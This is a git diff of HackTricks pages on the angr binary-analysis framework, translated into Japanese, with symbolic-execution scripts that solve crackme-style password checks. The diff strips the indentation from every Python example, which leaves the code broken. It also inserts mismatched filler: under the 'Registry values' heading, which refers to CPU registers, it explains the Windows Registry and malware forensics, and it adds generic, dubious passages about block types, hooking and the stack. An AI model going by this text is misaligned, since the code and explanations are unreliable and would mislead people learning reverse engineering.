obj.reverse_plt[0x400550] #Get function from plt address ('strcmp') ``` +## シンボルとリロケーション -## Symbols and Relocations +Symbols and relocations are important concepts in reverse engineering and binary analysis. They provide valuable information about the structure and functionality of a binary executable. +シンボルとリロケーションは、リバースエンジニアリングとバイナリ解析において重要な概念です。これらは、バイナリ実行ファイルの構造と機能に関する貴重な情報を提供します。 + +### Symbols + +シンボル + +Symbols are identifiers used to represent various entities in a binary executable, such as functions, variables, and data structures. They serve as references to specific memory locations or code sections within the binary. + +シンボルは、バイナリ実行ファイル内のさまざまなエンティティ(関数、変数、データ構造など)を表すために使用される識別子です。これらは、バイナリ内の特定のメモリ位置やコードセクションへの参照として機能します。 + +Symbols can be either global or local. Global symbols are accessible from other parts of the binary, while local symbols are only visible within their respective code sections. + +シンボルは、グローバルまたはローカルのいずれかになります。グローバルシンボルは、バイナリの他の部分からアクセスできますが、ローカルシンボルは、それぞれのコードセクション内でのみ表示されます。 + +### Relocations + +リロケーション + +Relocations are instructions or records that specify how to modify the binary's code or data during the linking process. They are used to resolve references to symbols that are not yet known at compile time. + +リロケーションは、リンクプロセス中にバイナリのコードやデータをどのように修正するかを指定する命令またはレコードです。これらは、コンパイル時にはまだ不明なシンボルへの参照を解決するために使用されます。 + +Relocations are typically stored in a separate section of the binary called the relocation section. During the linking process, the linker will use the relocation information to adjust the addresses of symbols and ensure that all references are resolved correctly. + +リロケーションは通常、リロケーションセクションと呼ばれるバイナリの別のセクションに格納されます。リンクプロセス中、リンカはリロケーション情報を使用してシンボルのアドレスを調整し、すべての参照が正しく解決されるようにします。 + +Understanding symbols and relocations is crucial for analyzing and modifying binary executables. By examining these elements, reverse engineers can gain insights into the inner workings of a program and identify potential vulnerabilities or areas for improvement. + +シンボルとリロケーションの理解は、バイナリ実行ファイルの解析と修正において重要です。これらの要素を調査することで、リバースエンジニアはプログラムの内部動作を理解し、潜在的な脆弱性や改善の余地を特定することができます。 ```python strcmp = proj.loader.find_symbol('strcmp') # @@ -108,9 +338,31 @@ main_strcmp.is_export #False main_strcmp.is_import #True main_strcmp.resolvedby # ``` +## ブロック -## Blocks +### Basic Blocks +基本ブロックは、プログラムの実行中に連続して実行される命令のシーケンスです。基本ブロックは、制御フローグラフ内のノードとして表されます。基本ブロックは、単一の入力と単一の出力を持ち、通常は最初の命令から最後の命令まで直線的に実行されます。 + +### Super Blocks + +スーパーブロックは、基本ブロックの集合です。スーパーブロックは、複数の基本ブロックを含むことができますが、制御フローグラフ内の単一のノードとして表されます。スーパーブロックは、複数の入力と複数の出力を持つことができます。 + +### Function Blocks + +関数ブロックは、関数内のすべての基本ブロックを含むスーパーブロックです。関数ブロックは、関数の制御フローグラフ内の単一のノードとして表されます。関数ブロックは、関数の入力と出力を持つことができます。 + +### Exception Blocks + +例外ブロックは、例外処理のために使用される特殊なブロックです。例外ブロックは、例外が発生した場合に制御フローが移動する場所を示します。例外ブロックは、通常、try-catch文や例外ハンドラ内のコードの一部として表されます。 + +### Loop Blocks + +ループブロックは、ループ構造を表すブロックです。ループブロックは、ループ内の基本ブロックの集合として表されます。ループブロックは、ループの制御フローグラフ内の単一のノードとして表されます。 + +### Conditional Blocks + +条件ブロックは、条件分岐を表すブロックです。条件ブロックは、条件分岐の各パスに対応する基本ブロックの集合として表されます。条件ブロックは、条件分岐の制御フローグラフ内の単一のノードとして表されます。 ```python #Blocks block = proj.factory.block(proj.entry) #Get the block of the entrypoint fo the binary @@ -118,11 +370,15 @@ block.pp() #Print disassembly of the block block.instructions #"0xb" Get number of instructions block.instruction_addrs #Get instructions addresses "[0x401670, 0x401672, 0x401675, 0x401676, 0x401679, 0x40167d, 0x40167e, 0x40167f, 0x401686, 0x40168d, 0x401694]" ``` +# シミュレーションマネージャー、ステート -# Dynamic Analysis +シミュレーションマネージャーは、angrの中核的なコンポーネントであり、バイナリの実行をシミュレートするために使用されます。シミュレーションマネージャーは、バイナリの実行を制御し、異なるステート(状態)を管理します。 -## Simulation Manager, States +ステートは、バイナリの実行時の特定の状態を表します。ステートには、レジスタの値、メモリの内容、フラグの状態など、バイナリの実行に関連する情報が含まれます。 +シミュレーションマネージャーは、複数のステートを管理し、それらを適切な方法で制御します。これにより、異なるパスを探索し、バイナリの実行のさまざまな側面を分析することができます。 + +ステートの作成や変更、制御フローの解析など、さまざまな操作を実行するために、angrは強力なAPIを提供しています。これにより、バイナリの解析やリバースエンジニアリングのプロセスを効率化することができます。 ```python #Live States #This is useful to modify content in a live analysis @@ -145,15 +401,13 @@ simgr = proj.factory.simulation_manager(state) #Start simgr.step() #Execute one step simgr.active[0].regs.rip #Get RIP from the last state ``` +## 関数の呼び出し -## Calling functions - -* You can pass a list of arguments through `args` and a dictionary of environment variables through `env` into `entry_state` and `full_init_state`. The values in these structures can be strings or bitvectors, and will be serialized into the state as the arguments and environment to the simulated execution. The default `args` is an empty list, so if the program you're analyzing expects to find at least an `argv[0]`, you should always provide that! -* If you'd like to have `argc` be symbolic, you can pass a symbolic bitvector as `argc` to the `entry_state` and `full_init_state` constructors. Be careful, though: if you do this, you should also add a constraint to the resulting state that your value for argc cannot be larger than the number of args you passed into `args`. -* To use the call state, you should call it with `.call_state(addr, arg1, arg2, ...)`, where `addr` is the address of the function you want to call and `argN` is the Nth argument to that function, either as a python integer, string, or array, or a bitvector. If you want to have memory allocated and actually pass in a pointer to an object, you should wrap it in an PointerWrapper, i.e. `angr.PointerWrapper("point to me!")`. The results of this API can be a little unpredictable, but we're working on it. - -## BitVectors +* `args`を介して引数のリストと`env`を介して環境変数の辞書を`entry_state`と`full_init_state`に渡すことができます。これらの構造体の値は、文字列またはビットベクトルであることができ、シミュレートされた実行の引数と環境として状態にシリアライズされます。デフォルトの`args`は空のリストですので、解析しているプログラムが少なくとも`argv[0]`を見つけることを期待している場合は、常にそれを提供する必要があります! +* `argc`をシンボリックにしたい場合は、`entry_state`と`full_init_state`のコンストラクタにシンボリックなビットベクトルとして`argc`を渡すことができます。ただし、注意してください。これを行う場合は、`args`に渡した引数の数よりも大きい値にならないように、結果の状態に制約を追加する必要があります。 +* コールステートを使用するには、`.call_state(addr, arg1, arg2, ...)`と呼び出す必要があります。ここで、`addr`は呼び出したい関数のアドレスであり、`argN`はその関数のN番目の引数です。これは、Pythonの整数、文字列、配列、またはビットベクトルとして指定できます。オブジェクトにポインタを割り当てて実際に渡す場合は、PointerWrapperでラップする必要があります。例えば、`angr.PointerWrapper("point to me!")`です。このAPIの結果は少し予測できないことがありますが、改善に取り組んでいます。 +## ビットベクトル ```python #BitVectors state = proj.factory.entry_state() @@ -162,9 +416,15 @@ state.solver.eval(bv) #Convert BV to python int bv.zero_extend(30) #Will add 30 zeros on the left of the bitvector bv.sign_extend(30) #Will add 30 zeros or ones on the left of the BV extending the sign ``` +## シンボリックビットベクトルと制約 -## Symbolic BitVectors & Constraints +シンボリックビットベクトルは、バイナリコードの解析において非常に重要な役割を果たします。シンボリックビットベクトルは、具体的な値ではなく、論理的な制約を表すビットの集合です。これにより、プログラムの実行パスに関する制約を表現することができます。 +制約は、プログラムの実行中に特定の条件が満たされる必要があることを示します。例えば、ある変数が特定の値に等しい必要がある場合、その変数に対する制約を設定することができます。シンボリックビットベクトルを使用すると、プログラムの実行パスに関する制約を表現し、解析することができます。 + +シンボリックビットベクトルと制約を使用すると、プログラムの実行パスを制御することができます。これにより、特定の条件下でのプログラムの挙動を分析することができます。また、シンボリックビットベクトルを使用することで、プログラムの実行パスに関する制約を解決し、具体的な入力値を見つけることもできます。 + +シンボリックビットベクトルと制約は、逆アセンブリやバイナリ解析において非常に強力なツールです。これらのツールを使用することで、プログラムの内部の動作を理解し、脆弱性を特定することができます。 ```python x = state.solver.BVS("x", 64) #Symbolic variable BV of length 64 y = state.solver.BVS("y", 64) @@ -198,9 +458,19 @@ solver.eval_exact(expression, n) #n solutions to the given expression, throwing solver.min(expression) #minimum possible solution to the given expression. solver.max(expression) #maximum possible solution to the given expression. ``` +## フック -## Hooking +フックは、プログラムの実行中に特定の関数やイベントを監視し、それらに対してカスタムコードを実行する技術です。フックは、リバースエンジニアリングやマルウェア分析などの様々なセキュリティ関連のタスクで使用されます。 +フックの一般的な使用例は、関数フックです。関数フックは、特定の関数が呼び出されるたびに、カスタムコードを実行することができます。これにより、関数の引数や戻り値を監視したり、関数の動作を変更したりすることができます。 + +フックの実装方法はいくつかありますが、一般的な方法は以下の通りです。 + +1. フック関数を定義します。この関数は、フックしたい関数と同じシグネチャを持つ必要があります。 +2. フック関数をターゲット関数にフックします。これにより、ターゲット関数が呼び出されるたびに、フック関数が実行されます。 +3. フック関数内で必要な処理を実装します。これには、引数や戻り値の監視、変更、または追加の処理などが含まれます。 + +フックは、プログラムの実行中に動的に適用されるため、デバッグや解析のために非常に便利です。また、フックを使用することで、既存のプログラムの動作を変更することも可能です。しかし、フックは悪意のある目的で使用されることもあるため、注意が必要です。 ```python >>> stub_func = angr.SIM_PROCEDURES['stubs']['ReturnUnconstrained'] # this is a CLASS >>> proj.hook(0x10000, stub_func()) # hook with an instance of the class @@ -218,29 +488,22 @@ True >>> proj.is_hooked(0x20000) True ``` +さらに、`proj.hook_symbol(name, hook)`を使用することで、最初の引数としてシンボルの名前を指定し、シンボルが存在するアドレスにフックを設定することができます。 -Furthermore, you can use `proj.hook_symbol(name, hook)`, providing the name of a symbol as the first argument, to hook the address where the symbol lives - -# Examples - - - - +# 例
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/reversing/reversing-tools-basic-methods/angr/angr-examples.md b/reversing/reversing-tools-basic-methods/angr/angr-examples.md index 4e16d3f33..35e129ac7 100644 --- a/reversing/reversing-tools-basic-methods/angr/angr-examples.md +++ b/reversing/reversing-tools-basic-methods/angr/angr-examples.md @@ -1,58 +1,55 @@ -# Angr - Examples +# Angr - 例
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
{% hint style="info" %} -If the program is using \*\*`scanf` \*\* to get **several values at once from stdin** you need to generate a state that starts after the **`scanf`**. +プログラムが\*\*`scanf` \*\*を使用して**stdinから一度に複数の値を取得**している場合、**`scanf`**の後から開始する状態を生成する必要があります。 {% endhint %} -### Input to reach address (indicating the address) - +### アドレスを指定して到達するための入力 ```python import angr import sys def main(argv): - path_to_binary = argv[1] # :string - project = angr.Project(path_to_binary) +path_to_binary = argv[1] # :string +project = angr.Project(path_to_binary) - # Start in main() - initial_state = project.factory.entry_state() - # Start simulation - simulation = project.factory.simgr(initial_state) +# Start in main() +initial_state = project.factory.entry_state() +# Start simulation +simulation = project.factory.simgr(initial_state) - # Find the way yo reach the good address - good_address = 0x804867d - - # Avoiding this address - avoid_address = 0x080485A8 - simulation.explore(find=good_address , avoid=avoid_address )) +# Find the way yo reach the good address +good_address = 0x804867d - # If found a way to reach the address - if simulation.found: - solution_state = simulation.found[0] +# Avoiding this address +avoid_address = 0x080485A8 +simulation.explore(find=good_address , avoid=avoid_address )) - # Print the string that Angr wrote to stdin to follow solution_state - print(solution_state.posix.dumps(sys.stdin.fileno())) - else: - raise Exception('Could not find the solution') +# If found a way to reach the address +if simulation.found: +solution_state = simulation.found[0] + +# Print the string that Angr wrote to stdin to follow solution_state +print(solution_state.posix.dumps(sys.stdin.fileno())) +else: +raise Exception('Could not find the solution') if __name__ == '__main__': - main(sys.argv) +main(sys.argv) ``` - -### Input to reach address (indicating prints) - +### アドレスに到達するための入力(プリントを示す) ```python # If you don't know the address you want to recah, but you know it's printing something # You can also indicate that info @@ -61,37 +58,51 @@ import angr import sys def main(argv): - path_to_binary = argv[1] - project = angr.Project(path_to_binary) - initial_state = project.factory.entry_state() - simulation = project.factory.simgr(initial_state) +path_to_binary = argv[1] +project = angr.Project(path_to_binary) +initial_state = project.factory.entry_state() +simulation = project.factory.simgr(initial_state) - def is_successful(state): - #Successful print - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return b'Good Job.' in stdout_output +def is_successful(state): +#Successful print +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return b'Good Job.' in stdout_output - def should_abort(state): - #Avoid this print - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return b'Try again.' in stdout_output +def should_abort(state): +#Avoid this print +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return b'Try again.' in stdout_output - simulation.explore(find=is_successful, avoid=should_abort) +simulation.explore(find=is_successful, avoid=should_abort) - if simulation.found: - solution_state = simulation.found[0] - print(solution_state.posix.dumps(sys.stdin.fileno())) - else: - raise Exception('Could not find the solution') +if simulation.found: +solution_state = simulation.found[0] +print(solution_state.posix.dumps(sys.stdin.fileno())) +else: +raise Exception('Could not find the solution') if __name__ == '__main__': - main(sys.argv) +main(sys.argv) ``` +### レジストリの値 -### Registry values +Registry values are key-value pairs stored in the Windows Registry. They are used to store configuration settings and other important information for the operating system and installed applications. Understanding how to work with registry values is essential for various tasks, including troubleshooting, system optimization, and malware analysis. +レジストリの値は、Windowsレジストリに格納されるキーと値のペアです。これらは、オペレーティングシステムやインストールされたアプリケーションの設定やその他の重要な情報を格納するために使用されます。レジストリの値を操作する方法を理解することは、トラブルシューティング、システムの最適化、マルウェアの分析など、さまざまなタスクにおいて重要です。 + +When analyzing malware or performing system forensics, examining registry values can provide valuable insights into the behavior of the malicious software or the system's configuration. It can help identify persistence mechanisms, command and control (C2) communication channels, and other indicators of compromise. + +マルウェアの分析やシステムのフォレンジックを行う際には、レジストリの値を調査することで、悪意のあるソフトウェアやシステムの構成に関する貴重な情報を得ることができます。これにより、持続性のメカニズム、コマンドアンドコントロール(C2)の通信チャネル、およびその他の侵害の指標を特定するのに役立ちます。 + +There are various tools and techniques available for working with registry values. These include manual inspection using the Windows Registry Editor (regedit), command-line tools like reg.exe, and automated analysis using tools like volatility and Registry Explorer. + +レジストリの値を操作するためには、さまざまなツールや技術が利用できます。これには、Windows Registry Editor(regedit)を使用した手動の検査、reg.exeなどのコマンドラインツール、およびvolatilityやRegistry Explorerなどのツールを使用した自動化された分析が含まれます。 + +When examining registry values, it is important to be cautious and take appropriate precautions to avoid accidentally modifying or deleting critical system settings. Creating backups and using virtualized environments for analysis can help mitigate the risk of unintended consequences. + +レジストリの値を調査する際には、誤って重要なシステム設定を変更または削除することを防ぐために、注意を払い、適切な予防措置を取ることが重要です。バックアップの作成や仮想化環境の使用は、意図しない結果のリスクを軽減するのに役立ちます。 ```python -# Angr doesn't currently support reading multiple things with scanf (Ex: +# Angr doesn't currently support reading multiple things with scanf (Ex: # scanf("%u %u).) You will have to tell the simulation engine to begin the # program after scanf is called and manually inject the symbols into registers. @@ -100,64 +111,78 @@ import claripy import sys def main(argv): - path_to_binary = argv[1] - project = angr.Project(path_to_binary) +path_to_binary = argv[1] +project = angr.Project(path_to_binary) - # Address were you want to indicate the relation BitVector - registries - start_address = 0x80488d1 - initial_state = project.factory.blank_state(addr=start_address) +# Address were you want to indicate the relation BitVector - registries +start_address = 0x80488d1 +initial_state = project.factory.blank_state(addr=start_address) - # Create Bit Vectors - password0_size_in_bits = 32 # :integer - password0 = claripy.BVS('password0', password0_size_in_bits) +# Create Bit Vectors +password0_size_in_bits = 32 # :integer +password0 = claripy.BVS('password0', password0_size_in_bits) - password1_size_in_bits = 32 # :integer - password1 = claripy.BVS('password1', password1_size_in_bits) +password1_size_in_bits = 32 # :integer +password1 = claripy.BVS('password1', password1_size_in_bits) - password2_size_in_bits = 32 # :integer - password2 = claripy.BVS('password2', password2_size_in_bits) +password2_size_in_bits = 32 # :integer +password2 = claripy.BVS('password2', password2_size_in_bits) - # Relate it Vectors with the registriy values you are interested in to reach an address - initial_state.regs.eax = password0 - initial_state.regs.ebx = password1 - initial_state.regs.edx = password2 +# Relate it Vectors with the registriy values you are interested in to reach an address +initial_state.regs.eax = password0 +initial_state.regs.ebx = password1 +initial_state.regs.edx = password2 - simulation = project.factory.simgr(initial_state) +simulation = project.factory.simgr(initial_state) - def is_successful(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Good Job.'.encode() in stdout_output +def is_successful(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Good Job.'.encode() in stdout_output - def should_abort(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Try again.'.encode() in stdout_output +def should_abort(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Try again.'.encode() in stdout_output - simulation.explore(find=is_successful, avoid=should_abort) +simulation.explore(find=is_successful, avoid=should_abort) - if simulation.found: - solution_state = simulation.found[0] +if simulation.found: +solution_state = simulation.found[0] - solution0 = solution_state.solver.eval(password0) - solution1 = solution_state.solver.eval(password1) - solution2 = solution_state.solver.eval(password2) +solution0 = solution_state.solver.eval(password0) +solution1 = solution_state.solver.eval(password1) +solution2 = solution_state.solver.eval(password2) - # Aggregate and format the solutions you computed above, and then print - # the full string. Pay attention to the order of the integers, and the - # expected base (decimal, octal, hexadecimal, etc). - solution = ' '.join(map('{:x}'.format, [ solution0, solution1, solution2 ])) # :string - print(solution) - else: - raise Exception('Could not find the solution') +# Aggregate and format the solutions you computed above, and then print +# the full string. Pay attention to the order of the integers, and the +# expected base (decimal, octal, hexadecimal, etc). +solution = ' '.join(map('{:x}'.format, [ solution0, solution1, solution2 ])) # :string +print(solution) +else: +raise Exception('Could not find the solution') if __name__ == '__main__': - main(sys.argv) +main(sys.argv) ``` +### スタックの値 -### Stack values +The stack is a data structure used in computer programming to store and manage variables and function calls. It operates on a "last in, first out" (LIFO) principle, meaning that the last item added to the stack is the first one to be removed. +スタックは、コンピュータプログラミングで変数や関数呼び出しを格納および管理するために使用されるデータ構造です。スタックは「後入れ先出し」(LIFO)の原則に基づいて動作し、スタックに追加された最後のアイテムが最初に削除されます。 + +In the context of reverse engineering and binary analysis, understanding the values stored in the stack can be crucial for understanding the behavior of a program. By analyzing the stack, you can gain insights into how variables are manipulated and how function calls are made. + +逆アセンブリやバイナリ解析の文脈において、スタックに格納された値を理解することは、プログラムの動作を理解する上で重要です。スタックを分析することで、変数の操作方法や関数呼び出しの仕組みについて洞察を得ることができます。 + +To examine the values stored in the stack during the execution of a program, you can use various debugging and analysis tools. These tools allow you to inspect the memory addresses and contents of the stack, helping you understand how the program manipulates and uses the stack. + +プログラムの実行中にスタックに格納された値を調べるためには、さまざまなデバッグおよび解析ツールを使用することができます。これらのツールを使用すると、スタックのメモリアドレスや内容を調査することができ、プログラムがスタックをどのように操作し利用しているかを理解するのに役立ちます。 + +By analyzing the stack values, you can identify important variables, function arguments, return values, and other critical information that can aid in understanding the program's logic and behavior. + +スタックの値を分析することで、重要な変数、関数の引数、戻り値、および他の重要な情報を特定することができます。これらの情報は、プログラムのロジックと動作を理解するのに役立ちます。 ```python -# Put bit vectors in th stack to find out the vallue that stack position need to +# Put bit vectors in th stack to find out the vallue that stack position need to # have to reach a rogram flow import angr @@ -165,189 +190,236 @@ import claripy import sys def main(argv): - path_to_binary = argv[1] - project = angr.Project(path_to_binary) +path_to_binary = argv[1] +project = angr.Project(path_to_binary) - # Go to some address after the scanf where values have already being set in the stack - start_address = 0x8048697 - initial_state = project.factory.blank_state(addr=start_address) +# Go to some address after the scanf where values have already being set in the stack +start_address = 0x8048697 +initial_state = project.factory.blank_state(addr=start_address) - # Since we are starting after scanf, we are skipping this stack construction - # step. To make up for this, we need to construct the stack ourselves. Let us - # start by initializing ebp in the exact same way the program does. - initial_state.regs.ebp = initial_state.regs.esp +# Since we are starting after scanf, we are skipping this stack construction +# step. To make up for this, we need to construct the stack ourselves. Let us +# start by initializing ebp in the exact same way the program does. +initial_state.regs.ebp = initial_state.regs.esp - # In this case scanf("%u %u") is used, so 2 BVS are going to be needed - password0 = claripy.BVS('password0', 32) - password1 = claripy.BVS('password1', 32) +# In this case scanf("%u %u") is used, so 2 BVS are going to be needed +password0 = claripy.BVS('password0', 32) +password1 = claripy.BVS('password1', 32) - # Now, in the address were you have stopped, check were are the scanf values saved - # Then, substrack form the esp registry the needing padding to get to the - # part of the stack were the scanf values are being saved and push the BVS - # (see the image below to understan this -8) - padding_length_in_bytes = 8 # :integer - initial_state.regs.esp -= padding_length_in_bytes +# Now, in the address were you have stopped, check were are the scanf values saved +# Then, substrack form the esp registry the needing padding to get to the +# part of the stack were the scanf values are being saved and push the BVS +# (see the image below to understan this -8) +padding_length_in_bytes = 8 # :integer +initial_state.regs.esp -= padding_length_in_bytes - initial_state.stack_push(password0) - initial_state.stack_push(password1) +initial_state.stack_push(password0) +initial_state.stack_push(password1) - simulation = project.factory.simgr(initial_state) +simulation = project.factory.simgr(initial_state) - def is_successful(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Good Job.'.encode() in stdout_output +def is_successful(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Good Job.'.encode() in stdout_output - def should_abort(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Try again.'.encode() in stdout_output +def should_abort(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Try again.'.encode() in stdout_output - simulation.explore(find=is_successful, avoid=should_abort) +simulation.explore(find=is_successful, avoid=should_abort) - if simulation.found: - solution_state = simulation.found[0] +if simulation.found: +solution_state = simulation.found[0] - solution0 = solution_state.solver.eval(password0) - solution1 = solution_state.solver.eval(password1) +solution0 = solution_state.solver.eval(password0) +solution1 = solution_state.solver.eval(password1) - solution = ' '.join(map(str, [ solution0, solution1 ])) - print(solution) - else: - raise Exception('Could not find the solution') +solution = ' '.join(map(str, [ solution0, solution1 ])) +print(solution) +else: +raise Exception('Could not find the solution') if __name__ == '__main__': - main(sys.argv) +main(sys.argv) ``` - -In this scenario, the input was taken with `scanf("%u %u")` and the value `"1 1"` was given, so the values **`0x00000001`** of the stack come from the **user input**. You can see how this values starts in `$ebp - 8`. Therefore, in the code we have **subtracted 8 bytes to `$esp` (as in that moment `$ebp` and `$esp` had the same value)** and then we have pushed the BVS. +このシナリオでは、入力は `scanf("%u %u")` で受け取られ、値 `"1 1"` が与えられたため、スタックの値 **`0x00000001`** は **ユーザーの入力** から来ています。これらの値は `$ebp - 8` から始まることがわかります。したがって、コードでは **`$esp` から 8 バイトを引いて(その時点で `$ebp` と `$esp` は同じ値を持っていたため)** BVS をプッシュしました。 ![](<../../../.gitbook/assets/image (614).png>) -### Static Memory values (Global variables) - +### 静的メモリ値(グローバル変数) ```python import angr import claripy import sys def main(argv): - path_to_binary = argv[1] - project = angr.Project(path_to_binary) - - #Get an address after the scanf. Once the input has already being saved in the memory positions - start_address = 0x8048606 - initial_state = project.factory.blank_state(addr=start_address) +path_to_binary = argv[1] +project = angr.Project(path_to_binary) - # The binary is calling scanf("%8s %8s %8s %8s"). - # So we need 4 BVS of size 8*8 - password0 = claripy.BVS('password0', 8*8) - password1 = claripy.BVS('password1', 8*8) - password2 = claripy.BVS('password2', 8*8) - password3 = claripy.BVS('password3', 8*8) +#Get an address after the scanf. Once the input has already being saved in the memory positions +start_address = 0x8048606 +initial_state = project.factory.blank_state(addr=start_address) - # Write the symbolic BVS in the memory positions - password0_address = 0xa29faa0 - initial_state.memory.store(password0_address, password0) - password1_address = 0xa29faa8 - initial_state.memory.store(password1_address, password1) - password2_address = 0xa29fab0 - initial_state.memory.store(password2_address, password2) - password3_address = 0xa29fab8 - initial_state.memory.store(password3_address, password3) +# The binary is calling scanf("%8s %8s %8s %8s"). +# So we need 4 BVS of size 8*8 +password0 = claripy.BVS('password0', 8*8) +password1 = claripy.BVS('password1', 8*8) +password2 = claripy.BVS('password2', 8*8) +password3 = claripy.BVS('password3', 8*8) - simulation = project.factory.simgr(initial_state) +# Write the symbolic BVS in the memory positions +password0_address = 0xa29faa0 +initial_state.memory.store(password0_address, password0) +password1_address = 0xa29faa8 +initial_state.memory.store(password1_address, password1) +password2_address = 0xa29fab0 +initial_state.memory.store(password2_address, password2) +password3_address = 0xa29fab8 +initial_state.memory.store(password3_address, password3) - def is_successful(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Good Job.'.encode() in stdout_output +simulation = project.factory.simgr(initial_state) - def should_abort(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Try again.'.encode() in stdout_output +def is_successful(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Good Job.'.encode() in stdout_output - simulation.explore(find=is_successful, avoid=should_abort) +def should_abort(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Try again.'.encode() in stdout_output - if simulation.found: - solution_state = simulation.found[0] +simulation.explore(find=is_successful, avoid=should_abort) - # Get the values the memory addresses should store - solution0 = solution_state.solver.eval(password0,cast_to=bytes).decode() - solution1 = solution_state.solver.eval(password1,cast_to=bytes).decode() - solution2 = solution_state.solver.eval(password2,cast_to=bytes).decode() - solution3 = solution_state.solver.eval(password3,cast_to=bytes).decode() +if simulation.found: +solution_state = simulation.found[0] - solution = ' '.join([ solution0, solution1, solution2, solution3 ]) +# Get the values the memory addresses should store +solution0 = solution_state.solver.eval(password0,cast_to=bytes).decode() +solution1 = solution_state.solver.eval(password1,cast_to=bytes).decode() +solution2 = solution_state.solver.eval(password2,cast_to=bytes).decode() +solution3 = solution_state.solver.eval(password3,cast_to=bytes).decode() - print(solution) - else: - raise Exception('Could not find the solution') +solution = ' '.join([ solution0, solution1, solution2, solution3 ]) + +print(solution) +else: +raise Exception('Could not find the solution') if __name__ == '__main__': - main(sys.argv) +main(sys.argv) +``` +### 動的メモリの値(Malloc) + +In this example, we will use angr to analyze a binary that dynamically allocates memory using the 